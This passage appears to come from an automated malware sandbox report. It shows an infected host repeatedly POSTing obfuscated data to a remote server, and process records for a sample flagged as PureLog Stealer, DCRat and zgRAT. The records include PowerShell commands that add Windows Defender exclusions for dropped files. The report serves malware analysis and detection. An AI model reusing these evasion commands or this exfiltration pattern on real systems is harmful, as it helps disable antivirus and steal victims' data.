Jan 10, 2025 07:59:08.122549057 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	50116	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:08.253855944 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:59:08.611063004 CET	2544	OUT	Data Raw: 5c 56 43 50 5b 5b 56 5e 58 5b 57 56 50 5d 5b 52 55 55 5e 5d 54 59 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \VCP[[V^X[WVP][RUU^]TYQXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,20(><54X/:%V<=(Y+(]"?W(0?X*/-%.'$'_!/Y.1
Jan 10, 2025 07:59:09.103215933 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:09.232789040 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	50117	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:09.366720915 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:09.720398903 CET	2544	OUT	Data Raw: 59 5f 43 55 5e 5a 53 53 58 5b 57 56 50 58 5b 50 55 50 5e 5e 54 50 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y_CU^ZSSX[WVPX[PUP^^TPQ]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'/"8([:<7,)=W>=+80#$/?3<==2=+0:'_!/Y.%
Jan 10, 2025 07:59:10.283348083 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:10.284368992 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0
Jan 10, 2025 07:59:10.284399986 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	50118	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:10.410666943 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:10.767287970 CET	2544	OUT	Data Raw: 5c 51 43 5f 5b 5b 56 55 58 5b 57 56 50 5e 5b 55 55 57 5e 59 54 51 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \QC_[[VUX[WVP^[UUW^YTQQZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/+Y(>-^< X,.(>$_?8"0+YY9$=(Y$'_!/Y.=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	50119	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:10.976708889 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:11.329791069 CET	2036	OUT	Data Raw: 5c 54 43 5e 5e 58 56 52 58 5b 57 56 50 52 5b 56 55 52 5e 5b 54 59 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \TC^^XVRX[WVPR[VUR^[TYQRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'/!((^<6?-1(=$\+(<"47T+#?ZY"G1+&*'_!/Y.
Jan 10, 2025 07:59:11.816303968 CET	374	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 39 3a 31 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 39 38 0d 0a 0f 1e 39 52 20 2b 23 0c 25 06 22 0c 2e 2f 22 09 3f 1e 24 59 29 13 34 00 2b 33 33 53 2c 3f 09 10 20 3b 0b 5e 2b 32 2e 57 24 12 23 0f 26 0d 21 59 0c 13 26 58 2b 03 25 57 3d 2a 24 11 28 32 3e 44 26 23 34 07 33 5b 2d 51 20 11 2f 07 3f 2a 29 19 3c 32 3a 0d 2c 2a 23 07 2a 02 2f 0c 33 36 2a 57 0c 1f 26 1e 22 22 35 51 22 0c 2e 5a 30 38 23 1d 30 01 20 57 31 2f 24 05 21 2a 2b 12 2e 3a 2b 02 23 3d 23 03 2a 07 2e 52 23 22 33 0c 2b 16 20 51 22 0d 22 50 [TRUNCATED] Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:59:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding989R +#%"./"?$Y)4+33S,? ;^+2.W$#&!Y&X+%W=$(2>D&#43[-Q /?)<2:,#/36W&""5Q".Z08#0 W1/$!+.:+#=#*.R#"3+ Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	50120	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:11.101484060 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:11.454806089 CET	2544	OUT	Data Raw: 59 5f 43 56 5e 5e 56 54 58 5b 57 56 50 5a 5b 57 55 50 5e 5e 54 5f 51 53 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y_CV^^VTX[WVPZ[WUP^^T_QSRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,,+2>%;/:( \?$"/?*/2+$'_!/Y.-
Jan 10, 2025 07:59:11.908229113 CET	225	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 39 3a 31 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:59:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	50121	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:12.049834013 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:59:12.407872915 CET	2544	OUT	Data Raw: 5c 55 43 53 5e 5b 56 5e 58 5b 57 56 50 59 5b 56 55 5d 5e 58 54 58 51 53 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \UCS^[V^X[WVPY[VU]^XTXQSRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,?X>-^(8X,*+.8_<+#"B((+<:A23:'_!/Y.!
Jan 10, 2025 07:59:12.808871984 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:12.944700003 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	50122	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:13.065357924 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:13.423511028 CET	2536	OUT	Data Raw: 5c 55 46 57 5b 5b 56 51 58 5b 57 56 50 5b 5b 55 55 5d 5e 5a 54 5b 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \UFW[[VQX[WVP[[UU]^ZT[QXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'@8W3Y>-2<P$,:)?.;?;!4Q+U()?2> ^$*'_!/Y.1
Jan 10, 2025 07:59:13.819375038 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:13.956799030 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	50123	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:14.079814911 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:14.439152956 CET	2536	OUT	Data Raw: 5c 56 46 50 5e 5e 56 52 58 5b 57 56 50 5b 5b 50 55 54 5e 5d 54 58 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \VFP^^VRX[WVP[[PUT^]TXQ]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;1#Y>-.>6'89S(=;<+ X#$34*%$]$'_!/Y.%
Jan 10, 2025 07:59:14.823292017 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:14.974802971 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	50124	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:15.094574928 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:15.439156055 CET	2544	OUT	Data Raw: 5c 54 43 50 5e 57 56 51 58 5b 57 56 50 53 5b 56 55 50 5e 5f 54 5b 51 5b 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \TCP^WVQX[WVPS[VUP^_T[Q[RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'@,Y(?P8/&+>8^+^ #'?+(=6&;&:'_!/Y.
Jan 10, 2025 07:59:15.958376884 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:16.088973045 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Target ID:	0
Start time:	01:56:58
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\hz7DzW2Yop.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hz7DzW2Yop.exe"
Imagebase:	0x900000
File size:	2'926'873 bytes
MD5 hash:	46DCDDD43CBAEAE845C14E7306726FF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1669057871.000000000620B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1669587198.0000000006A09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:56:59
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe"
Imagebase:	0xf00000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:57:14
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\HyperWebbroker\lGnbJpj21JH90uguTRu2sUXatfulFm1f34jhZ8QO993nz73C1NZz.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:57:14
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:57:15
Start date:	10/01/2025
Path:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
Wow64 process (32bit):	false
Commandline:	"C:\HyperWebbroker/serverBrokerperfMonitor.exe"
Imagebase:	0xfe0000
File size:	2'639'872 bytes
MD5 hash:	C1CF39EF49B82B35938CA7A45DBCCEEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.1930693014.00000000137F7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000005.00000000.1829997271.0000000000FE2000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	01:57:19
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:57:19
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:57:19
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	01:57:19
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellExperiences\uAsLgsGzSk.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:57:19
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	01:57:19
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\SystemSettings.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:57:19
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	01:57:19
Start date:	10/01/2025
